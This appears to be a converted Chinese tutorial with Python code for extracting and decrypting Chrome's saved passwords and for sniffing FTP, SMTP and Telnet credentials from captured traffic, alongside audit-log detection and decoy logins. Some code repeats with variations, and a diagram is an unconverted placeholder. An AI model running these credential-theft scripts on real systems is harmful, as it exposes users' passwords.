現今網路環境中,保護使用者憑證至關重要。本文將探討如何利用 Python 的 Scapy 函式庫監控網路流量,特別針對 FTP、SMTP 和 Telnet 等未加密協定進行憑證嗅探,同時也分析 Chrome 瀏覽器如何儲存和保護使用者憑證,以及如何監控憑證的存取行為。文章將涵蓋 Chrome 密碼資料函式庫的存取與解密方式,包括使用 SQLite 查詢和 AES 解密演算法的實作細節,並探討如何利用 Windows 檔案稽核功能監控 Local State 檔案的存取。最後,文章將介紹如何建立欺騙網路連線,誘使攻擊者使用假憑證,提升網路安全防禦能力。

存取憑證的技術深度解析

本章節主要探討如何存取Google Chrome瀏覽器中儲存的憑證,以及如何監控這些憑證的存取行為。Chrome使用SQLite資料函式庫儲存使用者憑證,這些憑證經過加密處理,需要特定的金鑰才能解密。

Chrome密碼資料函式庫的存取與解密

Chrome的密碼資料函式庫位於Login Data檔案中,該檔案採用SQLite格式儲存。程式碼首先利用shutil.copy2建立該檔案的本地副本,然後使用sqlite3函式庫查詢logins表格中的action_urlusername_valuepassword_value欄位,分別對應於網址、使用者名稱和密碼。

程式碼範例:存取Chrome密碼資料函式庫

import sqlite3
import shutil

# 建立Login Data的本地副本
shutil.copy2('Login Data', 'Login Data.copy')

# 連線SQLite資料函式庫
conn = sqlite3.connect('Login Data.copy')
cursor = conn.cursor()

# 查詢logins表格
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
results = cursor.fetchall()

for result in results:
    print(f'URL: {result[0]}, Username: {result[1]}, Password: {result[2]}')

內容解密:

  1. shutil.copy2('Login Data', 'Login Data.copy'):由於Login Data檔案在Chrome執行時無法直接存取,因此建立一個本地副本。
  2. sqlite3.connect('Login Data.copy'):連線到複製的SQLite資料函式庫檔案。
  3. cursor.execute('SELECT action_url, username_value, password_value FROM logins'):執行SQL查詢以擷取logins表格中的網址、使用者名稱和密碼欄位。
  4. cursor.fetchall():取得查詢結果。

AES加密與解密

Chrome使用AES加密演算法保護儲存的密碼。AES是一種區塊加密演算法,需要以下資訊進行加密和解密:

  • 金鑰(Secret Key):用於加密和解密的金鑰,本例中為從Local State檔案提取的主金鑰。
  • 操作模式(Mode of Operation):定義區塊之間的關係,Chrome使用Galois Counter Mode(GCM)。
  • 初始化向量(IV):某些操作模式需要一個唯一的隨機輸入,儲存在加密密碼旁邊。

程式碼範例:AES解密

from Cryptodome.Cipher import AES

def decrypt_password(encrypted_password, key):
    # 提取IV和密鑰
    iv = encrypted_password[3:15]
    ciphertext = encrypted_password[15:]
    
    # 建立AES解密器
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
    decrypted_password = cipher.decrypt(ciphertext)
    
    # 移除填充
    return decrypted_password.rstrip(b'\x00')

# 假設key是從Local State提取的主金鑰
key = b'your_master_key_here'
encrypted_password = b'your_encrypted_password_here'

decrypted_password = decrypt_password(encrypted_password, key)
print(f'Decrypted Password: {decrypted_password.decode()}')

內容解密:

  1. iv = encrypted_password[3:15]:從加密密碼中提取初始化向量(IV)。
  2. ciphertext = encrypted_password[15:]:提取密鑰部分。
  3. AES.new(key, AES.MODE_GCM, nonce=iv):使用主金鑰、GCM模式和IV建立AES解密器。
  4. cipher.decrypt(ciphertext):解密密鑰。

監控Chrome密碼存取行為

為了檢測潛在的惡意存取,可以啟用Windows檔案稽核功能,監控Local State檔案的存取行為。

程式碼範例:監控Local State存取

import win32evtlog

def detect_local_state_access():
    server = 'localhost'
    logtype = 'Security'
    flags = win32evtlog.EVENTLOG_FORWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ
    
    h = win32evtlog.OpenEventLog(server, logtype)
    events = win32evtlog.ReadEventLog(h, flags, 0)
    
    for event in events:
        if event.EventID == 4663 and 'Local State' in event.StringInserts[6]:
            print(f'Process {event.StringInserts[11]} (PID {event.StringInserts[10]}) accessed Local State at {event.TimeGenerated}')

detect_local_state_access()

內容解密:

  1. win32evtlog.OpenEventLog(server, logtype):開啟Windows事件日誌。
  2. win32evtlog.ReadEventLog(h, flags, 0):讀取事件日誌記錄。
  3. if event.EventID == 4663 and 'Local State' in event.StringInserts[6]:檢查事件ID是否為4663(檔案存取事件),並確認是否涉及Local State檔案。

網路憑證嗅探:利用 Scapy 監控網路流量

在網路安全領域中,瞭解如何保護使用者憑證免受竊取至關重要。本篇文章將探討如何使用 Python 的 Scapy 函式庫來監控網路流量,特別是針對 FTP、SMTP 和 Telnet 等未經 TLS 加密的協定,進而提取使用者憑證。

為何需要監控網路流量?

大多數現代網路協定使用傳輸層安全性(TLS)來加密傳輸中的資料。然而,一些安全性較弱的系統,如物聯網(IoT)裝置,可能仍使用不安全的協定,如 Telnet。如果是這種情況,使用者憑證可能會出現在網路流量中。

使用 Scapy 嗅探密碼

Scapy 是 Python 中用於網路流量分析的首選模組。利用 Scapy,不僅可以構建和傳送封包,還可以嗅探流經網路的流量並進行分析。

網路憑證嗅探程式碼範例

from scapy.all import *
from base64 import b64decode
import re

def ExtractFTP(packet):
    payload = packet[Raw].load.decode("utf-8").rstrip()
    if payload[:4] == 'USER':
        print("%s FTP 使用者名稱:%s" % (packet[IP].dst, payload[5:]))
    elif payload[:4] == 'PASS':
        print("%s FTP 密碼:%s" % (packet[IP].dst, payload[5:]))

emailregex = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
unmatched = []

def ExtractSMTP(packet):
    payload = packet[Raw].load
    try:
        decoded = b64decode(payload)
        decoded = decoded.decode("utf-8")
        connData = [packet[IP].src, packet[TCP].sport]
        if re.search(emailregex, decoded):
            print("%s SMTP 使用者名稱:%s" % (packet[IP].dst, decoded))
            unmatched.append([packet[IP].src, packet[TCP].sport])
        elif connData in unmatched:
            print("%s SMTP 密碼:%s" % (packet[IP].dst, decoded))
            unmatched.remove(connData)
    except:
        return

awaitingLogin = []
awaitingPassword = []

def ExtractTelnet(packet):
    try:
        payload = packet[Raw].load.decode("utf-8").rstrip()
    except:
        return
    if packet[TCP].sport == 23:
        connData = [packet[IP].src, packet[TCP].sport]  # Server is source
        if payload[:5] == "login":
            awaitingLogin.append(connData)
            return
        elif payload[:8] == "Password":
            awaitingPassword.append(connData)
            return
    else:
        connData = [packet[IP].dst, packet[TCP].dport]  # Client is source
        if connData in awaitingLogin:
            print("%s Telnet 使用者名稱:%s" % (packet[IP].dst, payload))
            awaitingLogin.remove(connData)
        elif connData in awaitingPassword:
            print("%s Telnet 密碼:%s" % (packet[IP].dst, payload))
            awaitingPassword.remove(connData)

packets = rdpcap("merged.pcap")
for packet in packets:
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        if packet[TCP].dport == 21:
            ExtractFTP(packet)
        elif packet[TCP].dport == 25:
            ExtractSMTP(packet)
        elif packet[TCP].sport == 23 or packet[TCP].dport == 23:
            ExtractTelnet(packet)

程式碼解密:

  1. 匯入必要的模組:程式開始時匯入了 Scapy 的所有功能、base64 模組的 b64decode 功能以及 re 模組,用於正規表示式匹配。
  2. 定義提取 FTP 憑證的函式ExtractFTP 函式檢查封包的負載,提取 FTP 使用者名稱和密碼。
    • 從封包的 Raw 層提取負載,並解碼為 UTF-8 字串。
    • 檢查負載是否以 ‘USER’ 或 ‘PASS’ 開頭,以此判斷是否包含使用者名稱或密碼。
  3. 定義提取 SMTP 憑證的函式ExtractSMTP 函式處理 SMTP 封包,利用 Base64 解碼來提取使用者名稱和密碼。
    • 對封包負載進行 Base64 解碼。
    • 使用正規表示式檢查解碼後的字串是否符合電子郵件地址的格式,以此判斷是否為使用者名稱。
  4. 定義提取 Telnet 憑證的函式ExtractTelnet 函式檢查 Telnet 封包,提取登入名稱和密碼。
    • 根據 Telnet 協定的特點,檢查伺服器回應和客戶端輸入,分別處理登入名稱和密碼的提取。
  5. 讀取並分析網路封包:程式讀取一個包含網路流量的檔案(“merged.pcap”),並遍歷其中的每個封包。
    • 檢查封包是否包含 TCP 和 Raw 層,確保封包攜帶了資料。
    • 根據目標埠號,將封包分發給對應的提取函式處理。

網路憑證嗅探與欺騙防禦技術深度解析

網路憑證嗅探原理與實作

在網路安全領域中,憑證嗅探是一種常見的攻擊手段。攻擊者透過監聽網路流量,嘗試從中提取出使用者名稱和密碼等敏感資訊。本章節將探討SMTP、Telnet等協定中的憑證嗅探技術,並分析相關的防禦措施。

SMTP憑證嗅探實作細節

SMTP(Simple Mail Transfer Protocol)是一種用於電子郵件傳輸的協定。在某些實作中,SMTP憑證可能會以Base64編碼的形式在網路上傳輸。以下是一個用於提取SMTP憑證的Python函式片段:

emailregex = r"[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+"
unmatched = []

def ExtractSMTP(packet):
    try:
        payload = b64decode(packet[Raw].load).decode("utf-8")
    except:
        return
    if re.search(emailregex, payload):
        print("%s SMTP Username: %s" % (packet[IP].src, payload))
        unmatched.append([packet[IP].src, packet[TCP].sport])
    elif [packet[IP].src, packet[TCP].sport] in unmatched:
        print("%s SMTP Password: %s" % (packet[IP].src, payload))
        unmatched.remove([packet[IP].src, packet[TCP].sport])

內容解密:

  1. 正規表示式匹配電子郵件地址:使用emailregex變數定義了一個正規表示式,用於匹配常見的電子郵件地址格式。
  2. Base64解碼:嘗試對封包負載進行Base64解碼,如果解碼失敗,則忽略該封包。
  3. 使用者名稱識別:如果解碼後的資料包含電子郵件地址,則將其識別為SMTP使用者名稱,並記錄連線資訊以期待後續的密碼。
  4. 密碼識別:如果連線資訊已被記錄為期待密碼狀態,則將解碼後的資料識別為SMTP密碼。

Telnet憑證嗅探與狀態追蹤

相較於SMTP,Telnet協定的憑證並非以Base64編碼傳輸,因此需要更複雜的狀態追蹤機制來識別使用者名稱和密碼。以下是一個用於Telnet憑證嗅探的Python函式實作:

awaitingLogin = []
awaitingPassword = []

def ExtractTelnet(packet):
    try:
        payload = packet[Raw].load.decode("utf-8").rstrip()
    except:
        return
    if packet[TCP].sport == 23:  # Server回應
        if payload[:5] == "login":
            awaitingLogin.append([packet[IP].dst, packet[TCP].dport])
        elif payload[:8] == "Password":
            awaitingPassword.append([packet[IP].dst, packet[TCP].dport])
    else:  # Client回應
        if [packet[IP].src, packet[TCP].sport] in awaitingLogin:
            print("%s Telnet Username: %s" % (packet[IP].src, payload))
            awaitingLogin.remove([packet[IP].src, packet[TCP].sport])
        elif [packet[IP].src, packet[TCP].sport] in awaitingPassword:
            print("%s Telnet Password: %s" % (packet[IP].src, payload))
            awaitingPassword.remove([packet[IP].src, packet[TCP].sport])

內容解密:

  1. 狀態追蹤列表:使用awaitingLoginawaitingPassword列表來追蹤正在等待使用者名稱和密碼的連線。
  2. 伺服器回應處理:當收到伺服器回應時,檢查是否包含"login:“或"Password:“提示,並據此更新狀態追蹤列表。
  3. 客戶端回應處理:當收到客戶端回應時,根據當前連線狀態,識別並輸出使用者名稱或密碼。

防禦措施:建立欺騙網路連線

除了檢測和防範憑證嗅探攻擊外,防禦者還可以透過建立欺騙網路連線(Decoy Network Connections)來誘使攻擊者使用假憑證,從而揭露其存在或浪費其時間。以下是一個建立欺騙FTP和Telnet連線的Python指令碼範例:

import ftplib
import telnetlib
from time import sleep

def FTPConnection(ip, username, password):
    ftp = ftplib.FTP(host=ip, user=username, passwd=password)
    sleep(5)
    ftp.quit()

def TelnetConnection(ip, username, password):
    telnet = telnetlib.Telnet(ip)
    telnet.read_until(b"login: ")
    telnet.write(bytes(username + "\n", "utf-8"))
    # 省略其他實作細節

內容解密:

  1. 欺騙連線建立:透過模擬正常的使用者行為,建立與FTP或Telnet伺服器的連線。
  2. 假憑證使用:使用預先設定的假使用者名稱和密碼進行登入嘗試。
  3. 時間延遲:在登入後暫停一段時間,以模擬真實使用者的操作行為。

參考圖表

此圖示展示了SMTP對話在Wireshark中的樣貌:

@startuml
note
  無法自動轉換的 Plantuml 圖表
  請手動檢查和調整
@enduml

此圖示說明瞭SMTP協定中的驗證流程,包括Base64編碼的使用者名稱和密碼傳輸。透過分析此流程,可以更好地理解SMTP憑證嗅探的原理和防禦方法。